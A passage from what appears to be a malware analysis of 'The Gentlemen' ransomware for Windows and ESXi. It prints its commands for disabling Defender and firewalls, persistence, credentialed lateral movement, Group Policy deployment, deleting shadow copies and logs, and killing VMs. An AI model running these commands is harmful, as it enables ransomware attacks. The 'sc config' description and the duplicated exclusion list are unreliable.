Veritas / Symantec BEbedbh, vxmon, benetns, bengien, pvlsvr, beserver
Office / Productivityexcel, infopath, msaccess, mspub, onenote, outlook, powerpnt, visio, winword, wordpad, notepad
Email Clientsthebat, thunderbird, tbirdconfig
Web / App Serversw3wp, encsvc, xfssvccon
Remote AccessTeamViewer_Service, TeamViewer, tv_w32, tv_x64
QuickBooksQBIDPService, QBDBMgrN, QBCFMonitorService
Desktop / Misc Servicesmydesktopqos, mydesktopservice, mvdesktopservice, synctime, EnterpriseClient, DellSystemDetect, Docker Desktop
Otherfirefox, steam

For service termination, the ransomware relies on two distinct commands:

  1. sc config <service> start=disabled, sends a stop signal to the service right now, killing it immediately if it’s currently running.
  2. sc stop <service>, sends a stop signal to the service right now, killing it immediately if it’s currently running.
CategoryServices targeted
Backup & Recoveryvmms, veeam, backup, vss, YooBackup, DattoBackup, MSP360Service, Macrium*, ShadowProtectSvc, PDVFSService, AcronisCyberProtect, AcronisAgent, AcrSch2Svc, VSNAPVSS, storflt, stc_raw_agent, VeeamNFSSvc, VeeamDeploymentService, VeeamTransportSvc
Veritas / Backup ExecBackupExec*, BackupExecVSSProvider, BackupExecAgentAccelerator, BackupExecAgentBrowser, BackupExecDiveciMediaService, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService
SQL / DatabasesSql, sql, MSSQL*, MSSQLSERVER, MSSQL, MSSQL$SQLEXPRESS, SQLSERVERAGENT, SQLWriter, SQLAgent$SQLEXPRESS, MsDtsServer150, SSISScaleOutWorker150, SSSScaleOutMaster, SSSScaleOutWorker, SSASTELEMETRY, SQL Server Distributed Replay Client, SQL Server Distributed Replay Controller, MySQL, MariaDB, postgresql, OracleServiceORCL, (.)sql(.)
VMwareVMware, VMwareTools, VMwareHostd, VMAuthdService, VMUSBArbService
Exchange / SharePointmsexchange, MSExchange, MSExchange\$, WSBExchange, SPAdminV4
Security / AVSymantec*, sophos, DefWatch, RTVscan, SavRoam, ccSetMgr, ccEvtMgr, MVarmor, MVarmor64, zhudongfangyu
Commvault (Gx)*GxBlr, GxVss, GxClMgrS, GxCVD, GxClMgr, GXMMM, GxVsshWProv, GxFWD
SAPSAP, SAP$, SAPD$, SAPService, SAPHostControl, SAPHostExec
VeritasVeritas*
QuickBooksQBCFMonitorService, QBDBMgrN, QBIDPService
Other / Miscmepocs, memtas, docker, CAARCUpdateSvc, CASAD2DWebSvc, YooIT, svc$

Persistence

During execution, the ransomware attempts to establish persistence using multiple mechanisms. It first attempts to create a scheduled task, initially without validating the current process privileges:

  • schtasks /Delete /TN UpdateSystem /F
  • schtasks /Create /SC ONSTART /TN UpdateSystem /TR "<exe> <args>" /RU SYSTEM

In a second attempt, the ransomware creates the same scheduled task in the user context by reissuing the commands without the /RU SYSTEM.

  • schtasks /Delete /TN UpdateUser /F
  • schtasks /Create /SC ONSTART /TN UpdateUser /TR "<exe> <args>"

The second local persistence method relies on a Run registry key. As with scheduled tasks, the malware attempts to configure this both for the system (HKLM) and for the current user (HKCU):

  • reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v GupdateU /t REG_SZ /d "<exe>" /f

When the --spread argument is enabled, the ransomware also attempts to maintain remote persistence on each reachable host. For each target, it sets up two persistence mechanisms:

  • Scheduled tasks–based persistence
  • Service–based persistence

Both mechanisms attempt to execute the ransomware from different locations on the remote machine or over a share.

# Scheduled Tasks
schtasks /Create /S <target> /TN DefS /TR "<exe>" /SC ONCE /ST <HH:MM> /RU SYSTEM
schtasks /Run /S <target> /TN DefS

schtasks /Create /S <target> /TN UpdateGS /TR "\\\\<host>\\share$\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
schtasks /Run /S <target> /TN UpdateGS

schtasks /Create /S <target> /TN UpdateGS2 /TR "C:\\Temp\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
schtasks /Run /S <target> /TN UpdateGS2

# Services
sc \\\\<target> create DefSvc binpath= "<exe>"
sc \\\\<target> start DefSvc

sc \\\\<target> create UpdateSvc binpath= "\\\\<host>\\share$\\<exe> <creds>"
sc \\\\<target> start UpdateSvc

sc \\\\<target> create UpdateSvc2 binpath= "C:\\Temp\\<exe> <creds>"
sc \\\\<target> start UpdateSvc2

*Full command lines for the --spread argument are provided further below.

Antivirus Evasion

The ransomware executes three PowerShell commands to disable Microsoft Defender protection and exclude both itself and the entire C:\\ drive from scanning and monitoring:

  • powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true -Force, disables Defender’s real-time protection entirely, the background scanning that monitors files, downloads, and processes as they’re accessed. With this off, malware can run without being intercepted.
  • powershell -Command Add-MpPreference -ExclusionProcess <ransomware_exe> -Force, adds a specific executable to Defender’s process exclusion list. Defender will completely ignore any file activity triggered by that process, even if it’s doing something malicious.
  • powershell -Command Add-MpPreference -ExclusionPath C:\\ -Force, adds the entire C: drive to Defender’s path exclusion list. This tells Defender to skip scanning anything on the drive, every file, folder, and executable.

During lateral movement, the ransomware makes an attempt to blind Windows Defender on each reachable remote host by pushing a PowerShell script that disables real-time monitoring, adds broad exclusions for the drive, staging share, and its own process, shuts down the firewall, re-enables SMB1, and loosens LSA anonymous access controls, all before deploying and executing the ransomware binary on that host.

Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath 'C:\\'
Add-MpPreference -ExclusionPath 'C:\\Temp'
Add-MpPreference -ExclusionPath '\\\\<host>\\share$'
Add-MpPreference -ExclusionProcess '<exe>'
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
reg add ...\\Lsa /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
reg add ...\\Lsa /v RestrictAnonymous /t REG_DWORD /d 0 /f

Windows Firewall

The ransomware tries to disable the firewall to allow unrestricted outbound and inbound traffic. This enables lateral movement tools (PsExec, WMI, SMB) to reach remote hosts without firewall rules blocking them, and allows exfiltration channels to operate freely. Bellow the executed commands deactivating the firewall:

  • netsh advfirewall set allprofiles state off
  • powershell -Command Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
  • sc stop mpssvc
  • sc config mpssvc start=disabled

Lateral movement, --spread argument

The --spread argument is disabled by default and is assigned the value "DISABLED". The lateral movement phase is only activated when the operator explicitly supplies --spread "domain\\user:password", providing credentials harvested from the environment.

These credentials are then reused across all lateral movement operations: PsExec receives them via the -u and -p parameters, WMI uses them for remote authentication, and remote scheduled task and service creation, authenticating with them against each target host.

Once --spread is enabled, the ransomware enumerates all domain computers via Active Directory, pings each discovered host to confirm reachability, and, for every host that responds, executes the full lateral movement sequence: copying the binary, pushing the Defender‑disabling script, and deploying it through six parallel execution channels across PsExec, WMI, scheduled tasks, and services.

 --- SETUP (executed once before the per-target loop) ---

 cmd /C copy "<exe>" "C:\\Temp\\" /Y
 cmd /C xcopy "<exe>" "\\\\<host>\\C$\\Temp\\" /Y /I /C /H /R /K
 cmd /C net share share$=C:\\Temp /GRANT:Everyone,FULL
 cmd /C icacls C:\\Temp /grant "ANONYMOUS LOGON":F
 cmd /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters
        /v NullSessionShares /t REG_MULTI_SZ /d share$ /f
 cmd /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa
        /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f

 --- PER TARGET (loop over all reachable hosts) ---

 -- File copy to target --
 cmd /C copy "<exe>" "C:\\Temp\\" /Y
 cmd /C xcopy "<exe>" "\\\\<target>\\C$\\Temp\\" /Y /I /C /H /R /K

 -- PsExec: disable Defender on target (with credentials) --
 psexec \\\\<target> -accepteula -d -s -u <domain\\user> -p <pass>
     cmd /c <DEFENDER_SCRIPT_A>

 -- PsExec: disable Defender on target (no credentials) --
 psexec \\\\<target> -accepteula -d -s
     cmd /c <DEFENDER_SCRIPT_A>

 -- PsExec: run via local Temp (with credentials) --
 psexec \\\\<target> -accepteula -d -h -u <domain\\user> -p <pass>
     C:\\Temp\\<exe> <creds>

 -- PsExec: run via local Temp (no credentials) --
 psexec \\\\<target> -accepteula -d -h
     C:\\Temp\\<exe>

 -- WMI: run Defender disable script --
 wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>"

 -- WMI: run via share path --
 wmic /node:<target> process call create
    "\\\\<host>\\share$\\<exe> <creds>"

 -- WMI: run via local Temp --
 wmic /node:<target> process call create
    "C:\\Temp\\<exe> <creds>"

 -- Remote schtask: DefU (no SYSTEM) --
 schtasks /Create /S <target> /TN DefU
      /TR "<exe>" /SC ONCE /ST <HH:MM>
 schtasks /Run   /S <target> /TN DefU

 -- Remote schtask: UpdateGU (share path) --
 schtasks /Create /S <target> /TN UpdateGU
      /TR "\\\\<host>\\share$\\<exe> <creds>" /SC ONCE /ST <HH:MM>
 schtasks /Run   /S <target> /TN UpdateGU

 -- Remote schtask: UpdateGU2 (local Temp) --
 schtasks /Create /S <target> /TN UpdateGU2
      /TR "C:\\Temp\\<exe> <creds>" /SC ONCE /ST <HH:MM>
 schtasks /Run   /S <target> /TN UpdateGU2

 -- Remote schtask: DefS (SYSTEM, direct exe) --
 schtasks /Create /S <target> /TN DefS
      /TR "<exe>" /SC ONCE /ST <HH:MM> /RU SYSTEM
 schtasks /Run   /S <target> /TN DefS

 -- Remote schtask: UpdateGS (SYSTEM, share path) --
 schtasks /Create /S <target> /TN UpdateGS
      /TR "\\\\<host>\\share$\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
 schtasks /Run   /S <target> /TN UpdateGS

 -- Remote schtask: UpdateGS2 (SYSTEM, local Temp) --
 schtasks /Create /S <target> /TN UpdateGS2
      /TR "C:\\Temp\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
 schtasks /Run   /S <target> /TN UpdateGS2

 -- Remote service: DefSvc (direct exe) --
 sc \\\\<target> create DefSvc  binpath= "<exe>"
 sc \\\\<target> start  DefSvc

 -- Remote service: UpdateSvc (share path) --
 sc \\\\<target> create UpdateSvc  binpath= "\\\\<host>\\share$\\<exe> <creds>"
 sc \\\\<target> start  UpdateSvc

 -- Remote service: UpdateSvc2 (local Temp) --
 sc \\\\<target> create UpdateSvc2 binpath= "C:\\Temp\\<exe> <creds>"
 sc \\\\<target> start  UpdateSvc2

 -- Remote PowerShell: SCRIPT_B — full Defender/firewall/SMB1/LSA/shares (no creds) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Set-MpPreference -DisableRealtimeMonitoring $true;
    Add-MpPreference -ExclusionPath 'C:\\';
    Add-MpPreference -ExclusionPath 'C:\\Temp';
    Add-MpPreference -ExclusionPath '\\\\<host>\\share$';
    Add-MpPreference -ExclusionProcess '<exe>';
    Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;
    Get-PSDrive -PSProvider FileSystem |
     Where-Object {$_.Name -match '^[A-Z]$'} |
     ForEach-Object {
      $d = $_.Name;
      net share ($d+'$')=($d+':\\') /GRANT:Everyone,FULL 2>$null;
      icacls ($d+':\\') /grant Everyone:F /T /C /Q 2>$null
     };
    Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart 2>$null;
    reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
      /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f 2>$null;
    reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
      /v RestrictAnonymous /t REG_DWORD /d 0 /f 2>$null"

 -- Remote PowerShell: SCRIPT_C — WinRM Defender disable + process exclusion (with creds) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock {
      Set-MpPreference -DisableRealtimeMonitoring $true;
      Add-MpPreference -ExclusionPath 'C:\\';
      Add-MpPreference -ExclusionProcess '<exe>'
    }"

 -- Remote PowerShell: SCRIPT_D — WinRM start process via share (no creds, 67-char template) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process '<exe>' }"

 -- Remote PowerShell: SCRIPT_E — WinRM start process via share with args (with creds, 96-char template) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock {
      Start-Process -FilePath '<\\\\<host>\\share$\\<exe>>' -ArgumentList '<creds>'
    }"

 -- Remote PowerShell: SCRIPT_F — WinRM start process via local Temp (no creds, 63-char template) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process 'C:\\Temp\\<exe>' }"

 -- Remote PowerShell: SCRIPT_G — WinRM start process via local Temp with args (with creds) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock {
      Start-Process -FilePath 'C:\\Temp\\<exe>' -ArgumentList '<creds>'
    }"
    

 SCRIPT_A (Defender disable — used inline by PsExec and WMI calls)
 ---------------------------------------------------------------
 powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true;
   Add-MpPreference -ExclusionPath 'C:\\';
   Add-MpPreference -ExclusionPath 'C:\\Temp';
   Add-MpPreference -ExclusionPath '\\\\<host>\\share$';
   Add-MpPreference -ExclusionProcess '<exe>';
   Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;
   Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart 2>$null;
   reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa
     /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f 2>$null;
   reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
     /v RestrictAnonymous /t REG_DWORD /d 0 /f 2>$null"

Deploy via Group Policy

The --gpo flag enables the most powerful and far-reaching deployment method in the entire binary, reserved specifically for operators who have already compromised a Domain Controller. It is designed to weaponize Active Directory’s own Group Policy infrastructure to detonate the ransomware simultaneously on every computer in the domain. When --gpo is enabled, the following PowerShell script is executed:

  Write-Host "[+] Installing required modules..."
  try { Import-Module ServerManager -ErrorAction Stop } catch {}
  try { Add-WindowsFeature RSAT-AD-PowerShell -ErrorAction SilentlyContinue } catch {}
  try { Install-WindowsFeature RSAT-AD-PowerShell -ErrorAction SilentlyContinue } catch {}
  try { Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
        -ErrorAction SilentlyContinue } catch {}
  try { Add-WindowsCapability -Online -Name "Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0"
        -ErrorAction SilentlyContinue } catch {}
  try { DISM.exe /Online /Add-Capability
        /CapabilityName:Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 2>$null } catch {}
  try { DISM.exe /Online /Add-Capability
        /CapabilityName:Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 2>$null } catch {}
  Import-Module ActiveDirectory -ErrorAction SilentlyContinue
  Import-Module GroupPolicy -ErrorAction SilentlyContinue

  Write-Host "[+] Getting domain info..."
  try {
      $Domain   = (Get-ADDomain).DNSRoot
      $DomainDN = (Get-ADDomain).DistinguishedName
      Write-Host "[+] Domain from AD: $Domain"
  } catch {
      try {
          $Domain   = (Get-WmiObject Win32_ComputerSystem).Domain
          $DomainDN = "DC=" + ($Domain -replace '\\.',',DC=')
          Write-Host "[+] Domain from WMI: $Domain"
      } catch {
          $Domain   = $env:USERDNSDOMAIN
          $DomainDN = "DC=" + ($Domain -replace '\\.',',DC=')
          Write-Host "[+] Domain from env: $Domain"
      }
  }

  Write-Host "[+] Copying locker to NETLOGON..."
  $ExePath = "\\\\$Domain\\NETLOGON\\<exe>"
  Copy-Item -Path "<exe>" -Destination $ExePath -Force -ErrorAction SilentlyContinue

  Write-Host "[+] Creating GPO..."
  $guid = [guid]::NewGuid().ToString().ToUpper()
  New-GPO -Name "<gpo_name>" -Comment "System Update" -ErrorAction SilentlyContinue | Out-Null
  New-GPLink -Name "<gpo_name>" -Target $DomainDN -ErrorAction SilentlyContinue | Out-Null

  $GpoScheduledPath = "\\\\$Domain\\SYSVOL\\$Domain\\Policies\\{$guid}\\Machine\\Preferences\\ScheduledTasks"
  New-Item -ItemType Directory -Path $GpoScheduledPath -Force | Out-Null

  $TaskXmlPath = "$env:TEMP\\ScheduledTasks.xml"
  $TaskName    = "SystemUpdate"

  @"
  <ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}"
        name="$TaskName" image="0" changed="<timestamp>" uid="<uid>"
        userContext="0" removePolicy="0">
      <Properties action="C" name="$TaskName"
          runAs="NT AUTHORITY\\System" logonType="S4U"/>
      ...
      <BootTrigger><Enabled>true</Enabled></BootTrigger>
      <RegistrationTrigger><Enabled>true</Enabled></RegistrationTrigger>
      <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
      <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
      <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
      <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    </ImmediateTaskV2>
  </ScheduledTasks>
  "@ | Out-File -Encoding UTF8 -FilePath $TaskXmlPath -Force

  Copy-Item -Path $TaskXmlPath -Destination "$GpoScheduledPath\\ScheduledTasks.xml" -Force

  if (!(Test-Path $GpoScheduledPath)) {
      # path creation guard
  }

  $comps = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
  foreach ($_ in $comps) {
      Invoke-GPUpdate -Computer $_.name -RandomDelayInMinutes 0
          -Force -ErrorAction SilentlyContinue
      Invoke-Command -ComputerName $comp -ScriptBlock { gpupdate /force }
          -ErrorAction SilentlyContinue
  }

Drive Enumeration

For drive enumeration, the malware uses two techniques to identify available volumes:

  1. PowerShell‑based discovery, using the following command.
  2. Brute‑force drive letter scan, iterating from A: to Z: and calling os.Stat on each path to determine whether it is a valid drive.
powershell -NoProfile -Command "$volumes=@();
$volumes += Get-WmiObject -Class Win32_Volume |
    Where-Object { $_.Name -like ':\\' } |
    Select-Object -ExpandProperty Name;
try {
    $volumes += Get-ClusterSharedVolume |
        ForEach-Object { $_.SharedVolumeInfo.FriendlyVolumeName }
} catch {}
$volumes"

Network Enumeration

In order to enumerate network drives the ransomware executes a sequence of Windows commands that force-enable network discovery and related services, making the machine visible and reachable on the local network.

 sc config fdrespub start=auto
 sc start  fdrespub
 sc config fdPHost  start=auto
 sc start  fdPHost
 sc config SSDPSRV  start=auto
 sc start  SSDPSRV
 sc config upnphost start=auto
 sc start  upnphost
 netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes
 powershell -Command Get-NetFirewallRule -DisplayGroup "Network Discovery" | Enable-NetFirewallRule

Then loads dynamically mpr.dll and by using the Windows API functions enumerates the networks shares:

  • WNetOpenEnumW
  • WNetEnumResourceW
  • WNetCloseEnum

Directories, Filenames and Extensions Exclusion

As with many other ransomware families, this one also excludes specific directories, filenames, and file extensions from encryption, ensuring that the system remains at least partially usable after the attack.

Excluded Directories:

"c:\\\\windows", "system volume information", "c:\\\\intel", "admin$", "ipc$", "! Cynet Ransom Protection(DON\\'T DELETE)", "sysvol", "netlogon", "$windows.~ws", "application data", "mozilla", "c:\\\\program files\\\\microsoft", "c:\\\\program files (x86)\\\\microsoft", "c:\\\\program files (x86)\\\\intel", "$windows.~bt", "msocache", "WinSxS", "$Recycle.Bin", "c:\\\\program files\\\\windows", "c:\\\\program files (x86)\\\\windows", "c:\\\\program files\\\\intel", "tor browser", "boot", "config.msi", "google", "System32", "perflogs", "appdata", "windows.old"

Excluded Filenames:

desktop.ini, autorun.ini, ntldr, bootsect.bak, thumbs.db, boot.ini, ntuser.dat, iconcache.db, bootfont.bin, pagefile.sys, ntuser.ini, ntuser.dat.log, autorun.inf, bootmgr, hiberfil.sys, bootmgr.efi, bootmgfw.efi, #recycle, README-GENTLEMEN.txt"c:\\\\windows", "system volume information", "c:\\\\intel", "admin$", "ipc$", "! Cynet Ransom Protection(DON\\'T DELETE)", "sysvol", "netlogon", "$windows.~ws", "application data", "mozilla", "c:\\\\program files\\\\microsoft", "c:\\\\program files (x86)\\\\microsoft", "c:\\\\program files (x86)\\\\intel", "$windows.~bt", "msocache", "WinSxS", "$Recycle.Bin", "c:\\\\program files\\\\windows", "c:\\\\program files (x86)\\\\windows", "c:\\\\program files\\\\intel", "tor browser", "boot", "config.msi", "google", "System32", "perflogs", "appdata", "windows.old"

Excluded Extensions:

hemepack, nls, diapkg, msi, lnk, exe, scr, bat, drv, rtp, msp, prf, msc, ico, key, ocx, hosts, diagcab, diagcfg, pdb, wpx, hlp, icns, rom, dll, msstyles, mod, ps1, ics, hta, bin, cmd, ani, 386, lock, cur, idx, sys, com, deskthemepack, shs, theme, mpa, gif, mp3, nomedia, spl, cpl, adv, icl, msu

Shadow Copy & Logs Deletion

During execution, the ransomware attempts to delete shadow copies, which are a primary mechanism for recovering encrypted files:

  • vssadmin delete shadows /all /quiet
  • wmic shadowcopy delete
  • rd /s /q C:\\$Recycle.Bin

In addition to shadow copies, the ransomware also deletes various log files. These logs typically contain authentication events, process and service creation events, and traces of lateral movement. The destruction of these artifacts clearly aims to remove forensic evidence of the intrusion and hinder post-incident investigation.

wevtutil cl System
wevtutil cl Application
wevtutil cl Security
del /f /q C:\\Windows\\Prefetch\\*.*
del /f /q C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*.*
del /f /q %SystemRoot%\\System32\\LogFiles\\RDP*\\*.*

Free Space Wiping

When the threat actor executes the ransomware with the --wipe argument, the malware additionally attempts to wipe free disk space. It creates a file named wipefile.tmp on each targeted drive and writes 64 MB chunks of data to it until all free space is exhausted. This process overwrites previously deleted file content that could otherwise be recovered using forensic tools.

Background Image Change

If the --silent argument is not specified, the ransomware replaces the desktop background with an embedded image. The image resource is written to %TEMP%\\gentlemen.bmp, and the malware then calls SystemParametersInfoW to set it as the desktop wallpaper.

File Encryption

Before encryption begins, the ransomware checks whether the file size exceeds 0x100000 (1,048,576 bytes, or 1 MB). Files of 1 MB or smaller are routed to the small file function, while files larger than 1 MB are routed to the large file function.

Regardless of size, the key derivation process is identical for both paths. The ransomware generates a random 32-byte ephemeral private key. Using X25519 (the Diffie–Hellman primitive over Curve25519), it derives two values: first, the ephemeral public key by multiplying the private key with the curve basepoint, and second, a shared secret by combining the ephemeral private key with the attacker’s public key. The ephemeral public key is not secret and will later be stored in the file, while the shared secret remains only in memory. Key material for encryption is then constructed directly from these values. The ephemeral public key is used as the 32-byte symmetric key, while the first 24 bytes of the shared secret (derived with the attacker’s public key) are used as the nonce.

For small files (less than 1MB) the contents are encrypted using XChaCha20, a stream cipher, which XORs the plaintext with a keystream to produce ciphertext of identical length. The original file is overwritten in place with this ciphertext.

For large files larger than 1 MB, the encryption process changes depending on optional speed mode arguments that control how much of the file is actually encrypted. Instead of processing the entire file, the algorithm only encrypts a small portion of it. In fast mode about 9 percent of the file is encrypted. In superfast mode about 3 percent is encrypted. In ultrafast mode only about 1 percent of the file is affected. The encrypted regions are selected across the file and processed in chunks of about 64 KB. Each chunk is read, encrypted using XChaCha20, and written back to the same position in the file. After encryption, the function appends a footer to the file containing the string --eph--, followed by the base64-encoded ephemeral public key and a newline. This is followed by a marker section --marker--GENTLEMEN\\n and a final GENTLEMEN sentinel. The stored ephemeral public key allows the attacker, who possesses the corresponding private key, to recompute the shared secret and reconstruct the nonce, enabling decryption of the file. If any of the speed-increasing arguments (fast, superfast, or ultrafast) were specified during large file encryption, the selected argument is also appended to the end of the file.

--eph--$BASE64--marker--GENTLEMEN\nGENTLEMEN--fast--\n

The attacker’s decryptor obtains the base64 value from the header (--eph-- field), decodes it to get the ephemeral public key, and uses it directly as the ChaCha20 key. It then recomputes sharedSecret = X25519(attacker_privKey, ephemeralPubKey) using the attacker’s own private key, and uses the first 24 bytes of sharedSecret2 as the ChaCha20 nonce. With the key and nonce recovered, it decrypts the encrypted files.


The Gentlemen ESXi Variant

Latest ELF variant of The Gentlemen ransomware remains undetected by the majority of the Antivirus systems as seems in VirusTotal. The incapability to trigger and execute the malicious code due to the --password requirement possibly affects the detection results, even though for Windows samples this does not appear to be an issue.

Figure 8 — VirusTotal detection rate.

Command Line Arguments

The majority of the arguments functionalities are observed as well in the ELF variant of The Gentlemen ransomware.

Usage: %s --password PASS --path DIR [--ignore VMS] [--T MIN] [--fast] [--superfast] [--ultrafast]

Main Flags 
  --password PASS         Access password (required)
  --path DIR              Target directories, comma-separated (required)
                          Example:  --path /vmfs/
                          Example2: --path "/vmfs/,/datastore/,/mnt/storage"
  --ignore VMS            VM display names to ignore, comma-separated (optional)
                          Example:  --ignore DomainController
                          Example2: --ignore "DomainController,Backup Server"
  --T, --timer MIN        Delay before start in minutes (optional)
                          Example:  --T 15
                          Example2: --timer 15

Speed Flags (can't be mixed) 
  --fast                  Lock 9 percent of file (optional)
  --superfast             Lock 3 percent of file (optional)
  --ultrafast             Lock 1 percent of file (optional)

[+]

The ESXi variant exposes fewer functionalities than the Windows variant, as many features present in the Windows version are not required on ESXi systems.

Flag / ArgumentWindowsESXi
--password PASSAccess password (required)Access password (required)
--path DIRS / DIRComma-separated list of target directories/disks (optional). Example: --path "C:\\,D:\\,\\\\nas\\share"Target directories, comma-separated (required).
Example: --path "/vmfs/,/datastore/,/mnt/storage"
--T MINDelay before start, in minutes (optional)Delay before start in minutes (optional)
--timer $MINNot presentAlias for delay before start in minutes (optional)
--systemRun as SYSTEM; encrypt only local drivesNot present
--sharesEncrypt only mapped network drives and UNC shares in session contextNot present
--fullTwo-phase: --system + --shares (“Best practice”)Not present
--spread $CREDSLateral movement: "domain/user:pass" or "" for current sessionNot present
--gpoDeploy via Group Policy to all domain computers (run on DC)Not present
--silentSilent mode: do not rename/retime files; no wallpaper changeNot present
--keepDo not self-delete after encryptionNot present
--wipeWipe free space after encryptionNot present
--ignore VMSNot presentVM display names to ignore, comma-separated.
Example: --ignore "DomainController,Backup Server"
--fast9 percent crypt. (optional)Lock 9 percent of file (optional)
--superfast3 percent crypt. (optional)Lock 3 percent of file (optional)
--ultrafast1 percent crypt. (optional)Lock 1 percent of file (optional)

The minimum required command‑line for Linux Gentlemen ransomware execution is:

$process_name --password $pass --path $path(s)

VM & Processes Termination

Ransomware operators shut down virtual machines on an ESXi host to make their attack more effective and efficient. By powering off the VMs, they release locks on virtual disk files, allowing those files to be encrypted more reliably and with less risk of interference or corruption. This also disables any security tools running inside the guest systems, reducing the chance of detection or response.

The locker performs a controlled shutdown of all virtual machines on a VMware ESXi host. It first lists all registered VMs and iterates through them to issue a graceful power-off command (optionally skipping specified VMs). After a short wait to allow clean shutdowns, it checks for any remaining running VM processes using esxcli. If any VMs are still active, it forcefully terminates them by killing their associated world processes. In effect, it ensures that all VMs are stopped, using escalation from graceful shutdown to hard kill only when necessary.

# Enumerate all registered VMs (popen, output parsed line by line)
vim-cmd vmsvc/getallvms | tail -n +2

# Power off each VM gracefully (one system() call per VM, skipping --ignore list)
vim-cmd vmsvc/power.off <vmid> > /dev/null 2>&1

# After 8-second sleep: enumerate still-running VM processes (popen)
esxcli --formatter=csv vm process list | tail -n +2

# Force-kill any remaining VM processes by world-id (one per process)
esxcli vm process kill --type=force --world-id=<world_id> > /dev/null 2>&1

Persistence

The ransomware copies itself to /bin/.vmware-authd mimicking a legitimate VMware daemon.

cp -f '<self>' '/bin/.vmware-authd' 2>/dev/null && chmod +x '/bin/.vmware-authd'

Then creates a script file that ESXi runs at boot.

mkdir -p /etc/rc.local.d 2>/dev/null; \\
echo '#!/bin/sh' > '/etc/rc.local.d/local.sh'; \\
echo 'sleep 30 && /bin/.vmware-authd <original_argv> &' >> '/etc/rc.local.d/local.sh'; \\
chmod +x '/etc/rc.local.d/local.sh'

Adds a second persistence layer via crontab. At every reboot, after a 60-second delay, the ransomware relaunches via the hidden binary with the original arguments.

echo '@reboot sleep 60 && /bin/.vmware-authd <original_argv>' | crontab - 2>/dev/null

Pre-Encryption Preparation

The ransomware modifies a VMware ESXi host to prepare the storage layer for fast, consistent disk writes and then disables automatic VM recovery. It increases the VMFS write buffer capacity and adjusts the flush interval to control how data is committed to disk, then forces synchronous writes across all VMFS datastores by briefly creating and deleting eager-zeroed thick disks. Finally, it clears and disables the VM autostart configuration so virtual machines will not restart automatically after a reboot.

# Maximize VMFS write buffer capacity (speeds up encryption throughput)
esxcfg-advcfg -s 32768 /BufferCache/MaxCapacity > /dev/null 2>&1

# Reduce buffer flush interval (forces faster disk commit)
esxcfg-advcfg -s 20000 /BufferCache/FlushInterval > /dev/null 2>&1

# Create eagerzeroedthick disk on every VMFS-5 datastore (forces buffer flush before encryption — ensures plaintext is written to disk)
for I in $(esxcli storage filesystem list | grep 'VMFS-5' | awk '{print $1}'); do \\
  vmkfstools -c 10M -d eagerzeroedthick $I/eztDisk > /dev/null 2>&1; \\
  vmkfstools -U $I/eztDisk > /dev/null 2>&1; \\
done 2>&1

# Same as above for VMFS-6 datastores
for I in $(esxcli storage filesystem list | grep 'VMFS-6' | awk '{print $1}'); do \\
  vmkfstools -c 10M -d eagerzeroedthick $I/eztDisk > /dev/null 2>&1; \\
  vmkfstools -U $I/eztDisk > /dev/null 2>&1; \\
done 2>&1

# Clear ESXi VM autostart configuration (prevents VMs from restarting)
vim-cmd hostsvc/autostartmanager/clear_autostart > /dev/null 2>&1

# Disable autostart manager entirely
vim-cmd hostsvc/autostartmanager/enable_autostart 0 > /dev/null 2>&1

Directories, Filenames and Extensions Exclusion

